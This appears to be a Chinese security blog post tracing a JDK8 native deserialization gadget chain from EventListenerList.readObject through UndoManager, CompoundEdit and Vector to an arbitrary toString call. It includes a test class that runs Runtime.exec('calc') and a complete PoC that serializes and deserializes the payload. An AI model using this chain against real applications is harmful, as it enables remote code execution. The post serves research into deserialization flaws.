这是一条JDK原生toString链 readObject
->toString
依赖:我这里用的是jdk8u66,链子的限制版本我还不是很清楚,希望各位师傅不吝赐教。
javax.swing.event.EventListenerList#readObject:

可以看到这里我们需要找到能够强制转换为 EventListener 类型,并且实现 Serializable 接口的类。
这里找到的就是UndoManager类,它实现了UndoableEditListener接口。

而UndoableEditListener接口又继承了EventListener类。

回来看UndoManager类也继承了CompoundEdit类,向上继承了AbstractUndoableEdit类,这个类继承了Serializable接口。

从readObject方法进入了add方法,第二个参数,l属性是UndoManager对象。
跟进add方法,可以看到,这里判断了传入的l对象是否是java.lang.Class类型,至于为什么是java.lang.Class ,在文章末尾会讲到。
那显然UndoManager对象不是java.lang.Class类型。所以这里就会进入到if语句里。

if里抛出了一个error,里面进行了字符串与对象的拼接,这里很明显就是隐式调用了UndoManager对象的toString
方法了。
javax.swing.undo.UndoManager#toString
UndoManager#toString
方法:这里的limit和indexOfNextAdd两个属性都是int,没有可以利用的地方,继续向上进入super.toString()
,也就是CompoundEdit.toString()

CompoundEdit.toString
方法:这里inProgress属性是int,而edits属性却是Vector类的对象。


那这里同样的进行了字符串与对象的拼接,会隐式调用Vector.toString
方法。
java.util.Vector#toString

继续跟进,到了AbstractCollection.toString
:

这里新建了一个迭代器,把对象传递给StringBuilder.append
方法,我们可以通过Vector.add
方法把恶意类添加进去。

继续跟进StringBuilder.append
方法,

跟进valueOf
方法

到这里,就完成了任意toString
方法调用了。
最后需要注意的是,在最开始的EventListenerList#writeObject中,我们需要让UndoManager对象被这样写入:s.writeObject(l);
,而这里的listenerList属性是一个对象列表,在writeObject中进行了一个for循环,在列表里的第双数位才会被s.writeObject(l);
这样写入,所以我们需要在UndoManager对象前面在加一个Class。
回到最开始的问题上,这里我的poc里填的是Class.class
,其实只要不是UndoManager.class
就行。


写一个测试类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import java.io.IOException; import java.io.Serializable;
public class User implements Serializable { public String name;
public User(String name) { this.name = name; }
public String toString(){ try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } return "name: " + name; } }
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.Vector;
public class Main { public static void main(String[] args) throws Exception { User u = new User("Infernity"); EventListenerList eventListenerList = getEventListenerList(u);
String a = serialize(eventListenerList); unserialize(a); }
public static EventListenerList getEventListenerList(Object obj) throws Exception{ EventListenerList list = new EventListenerList(); UndoManager undomanager = new UndoManager();
Vector vector = (Vector) getFieldValue(undomanager, "edits"); vector.add(obj);
setValue(list, "listenerList", new Object[]{Class.class, undomanager}); return list; } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); }
public static Field getField( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if (field != null) field.setAccessible(true); else if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
return field; } catch (NoSuchFieldException e) { if (!clazz.getSuperclass().equals(Object.class)) { return getField(clazz.getSuperclass(), fieldName); } throw e; } }
public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|
